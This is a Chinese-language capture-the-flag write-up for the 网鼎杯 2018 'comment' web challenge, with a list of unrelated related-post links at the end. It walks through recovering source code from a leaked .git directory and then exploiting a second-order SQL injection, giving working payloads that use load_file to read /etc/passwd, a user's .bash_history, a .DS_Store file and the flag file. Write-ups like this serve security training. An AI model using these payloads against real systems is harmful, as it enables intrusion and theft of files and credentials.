网鼎杯 comment

2020年网鼎杯马上开始了,来做一下历年真题
打开题目
点击发帖-提交,跳转到一个登录界面,不过已经提升了用户名和密码
爆破后面三位,登录成功
登录进去就可以发帖了,但也不有想法,注入点试了不行,用dirsearch扫描,发现存在.git文件
那应该存在.git文件泄露,用GitHack下载发现有一个write_do.php,但是代码有缺失
查一下之前提交的版本,单独用git log不能全部显示,直接用git log --all
可以看到,head指针指向的是最早一次commit,通过git reset --hard e5b2a2443c2b6d395d06960123142bc91123148c命令将head指向第一个commit,得到完整的write_do.php

<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){header("Location: ./login.php");die();
}
if(isset($_GET['do'])){switch ($_GET['do'])
{case 'write':$category = addslashes($_POST['category']);$title = addslashes($_POST['title']);$content = addslashes($_POST['content']);$sql = "insert into boardset category = '$category',title = '$title',content = '$content'";$result = mysql_query($sql);header("Location: ./index.php");break;
case 'comment':$bo_id = addslashes($_POST['bo_id']);$sql = "select category from board where id='$bo_id'";$result = mysql_query($sql);$num = mysql_num_rows($result);if($num>0){$category = mysql_fetch_array($result)['category'];$content = addslashes($_POST['content']);$sql = "insert into commentset category = '$category',content = '$content',bo_id = '$bo_id'";$result = mysql_query($sql);}header("Location: ./comment.php?id=$bo_id");break;
default:header("Location: ./index.php");
}
}
else{header("Location: ./index.php");
}
?>

后台对输入的参数通过addslashes()对预定义字符进行转义,加上\,预定义的字符包括单引号,双引号,反斜杠,NULL。放到数据库后会把转义符\去掉后,存入数据库中。
发帖的时候所有参数进行了转义才放到sql语句中,但是在cmment中,对于category的值从数据库取出来没有进行转义,直接拼接到sql insert语句中,这就存在二次注入的可能。

二次注入和普通的sql注入区别就是,二次注入是把恶意代码放入数据库中,执行后通过select等语句把结果回显,一般存在于insert语句中

思路就是通过发帖,在category中放入payload,存入数据库中,不过这一过程payload因为对单引号等作了转义,不会被触发,只有在发帖成功后,在留言comment,调用insert语句时因为没有对数据库取出的category进行转义,直接拼接才会触发payload。

  1. 发帖
    payload:0‘+hex(database()),content=324,/*
    2.在提交留言处输入*/#
    这样 sql语句拼接成:
insert into commentset category = '0'+hex(database()),content=324,/*,content = '*/#',bo_id = '$bo_id'

留言显示324,说明插入成功,但是payload在category并没有回显,改一下payload:a',content=database()),/*
重复上面操作
回显数据库名为ctf,之后查表等发现都不行,看了师傅们的WriteUp,发现这里是用sql来读取文件。模板:select load_file(‘文件绝对路径’);
首先读取/etc/passwd,这个文件存放了系统用户和用户的路径
payload:a',content=(select (load_file('/etc/passwd'))),/*
读取成功,可以知道www用户(一般和网站操作相关的用户,由中间件创建)的目录是/home/www,可以查询这下面的.bash_history
payload:a',content=(select (load_file('/home/www/.bash_history'))),/*
得到历史记录里之前所执行的命令
可以看到html.zip里面有一个.DS_Store文件,在/var/www/html目录下删除了,但是在/tmp/下只是删除了压缩包,还存在.DS_Store文件,读取这个文件。

Mac OS 保存文件夹的自定义属性的隐藏文件。通过.DS_Store可以知道这个目录里面所有文件的清单

payload:a', content=(select (load_file('/tmp/html/.DS_Store'))),/*
但是没有显示完全,改为payload:a', content=(select hex(load_file('/tmp/html/.DS_Store'))),/*
hex解码以后通过Python-dsstore-master得到
payload:a',content=(select hex(load_file('/var/www/html/flag_8946e1ff1ee3e40f.php'))),/*
解码后得到flag

考得知识点好多啊,tnl

网鼎杯 Comment 解题记录相关推荐

  1. 【CTF WriteUp】网鼎杯 青龙组 Misc题解复现(整理,WP非原创)

    (原本还打算四场Crypto全刷的,结果第四场被教做人了,算了整理点别的当补偿了) (另:求白虎组 Misc-boot 的 WP) Misc 虚幻2 图片在RGB信道各有一张图,提出来 R: G: B ...

  2. CTF-i春秋网鼎杯第一场misc部分writeup

    CTF-i春秋网鼎杯第一场misc部分writeup 最近因为工作原因报名了网鼎杯,被虐了几天后方知自己还是太年轻!分享一下自己的解题经验吧 minified 题目: 一张花屏,png的图片,老方法, ...

  3. [网鼎杯 2018]Fakebook

    [网鼎杯 2018]Fakebook 点击添加两条记录之后,任意点进去观察到 http://b996c614-1897-4c97-a331-05d75922d627.node3.buuoj.cn/vi ...

  4. [re]符号执行一把梭:2020网鼎杯青龙组re_signal_wp

    [re]符号执行一把梭:2020网鼎杯青龙组re_signal_wp 这道题是2020网鼎杯青龙组的一道逆向提signal,一道虚拟机逆向题目,题目本身不难,可以直接分析也可以符号执行秒掉. 题目分析 ...

  5. 近段时间参加的CTF竞赛部分题目复现(ISCC2020 、GKCTF、网鼎杯)

    本文目录 前言 ISCC Misc 签到题 耳听为实 千层套路 ISCC Web Php is the best language ISCC成绩查询-2 ISCC成绩查询_3 What can ima ...

  6. 2022网鼎杯青龙组wp

    本次网鼎杯的Crypto部分其实还是比较简单的,解出的人数也较多.感觉405题略难一些,花了比较多的时间,恰巧最后几小时给出的162所用到的求解方式之前遇到过,有幸作为一个CTF新手把这次的比赛密码学 ...

  7. BUU刷题记-网鼎杯专栏2

    title: BUU刷题记_网鼎杯专栏2 date: 2001-07-16 18:30:26 tags: [addslashes().二次注入 漏洞,gbk编码导致的宽字节注入漏洞,.git文件泄露及 ...

  8. [ CTF ]【天格】战队WriteUp- 2022年第三届“网鼎杯”网络安全大赛(青龙组)

    2022年第三届"网鼎杯"网络安全大赛(青龙组)部分题目附件 已解题列表 [Misc]签到 [Crypto]crypto405 [Crypto]crypto091 [Pwn]pwn ...

  9. BUUCTF__[网鼎杯 2018]Fakebook_题解

    前言 前天上午去报名了初中辅导老师,下午收到暑假可能可以回学校学习...真就尴尬.如果可以,回还是不回. 参加了2020年的网鼎杯,签到杯,神仙打架,萌新不配参加,下次一定. 读题 这题有点意思,虽然 ...

最新文章

  1. 2020中国人工智能年度评选正在征集!开放4大类别7大奖项
  2. Android 蓝牙开发实例--蓝牙聊天程序的设计和实现
  3. 复数混频发射机原理与仿真
  4. jquery获取浏览器版本号_前端为什么弃用jQuery?有这六个原因
  5. sturts2标签判断多个条件
  6. 数据结构之希尔排序------java实现
  7. 给学Java的大学生们分享一些经验
  8. 折半搜索+洛谷 P2962 [USACO09NOV]Lights G
  9. java常见_关于Java的常见误解
  10. mysql 命令 kill_MySQL之死锁检测
  11. Linux笔记-shell脚本中加载环境变量(适用于crontab)
  12. Dijstra算法-------为了纪念,等以后看的时候方便
  13. cad解除块的快捷命令_Auto CAD2007解除块快捷键是什么呢?
  14. webscraper 爬取二级网页_web scraper 入门到精通之路
  15. python 并发 数据库_python写入mysql数据库
  16. Cocos2d-x初级篇之工程的创建和编译(windows环境)
  17. 操作系统是管理计算机软件和硬件的,计算机操作系统是管理计算机硬件和软件的什么...
  18. 什么是硬件集成开发?硬件集成开发的核心有哪些?
  19. 数学建模竞赛常用软件培训2
  20. 百度病了,必应挂了,Yandex疯了。

热门文章

  1. 你可能用错了 kafka 的重试机制
  2. 如何在页面标题前添加自己的logo图标
  3. 高仿马蜂窝旅游头像泡泡动画
  4. error怎么开机 fan_电脑开机提示CPU Fan Error是什么意思?如何解决?
  5. 云计算产品学习(2)
  6. Verilog轮询仲裁器设计——Round Robin Arbiter
  7. 可怕的大学,到底有多少人在校园里浪费青春
  8. 2021牛客暑期多校训练营2 F-Girlfriend
  9. 连接中间层加密服务失败,请确认中间层加密服务已启动
  10. C++:getenv setenv -- 获取设置系统环境变量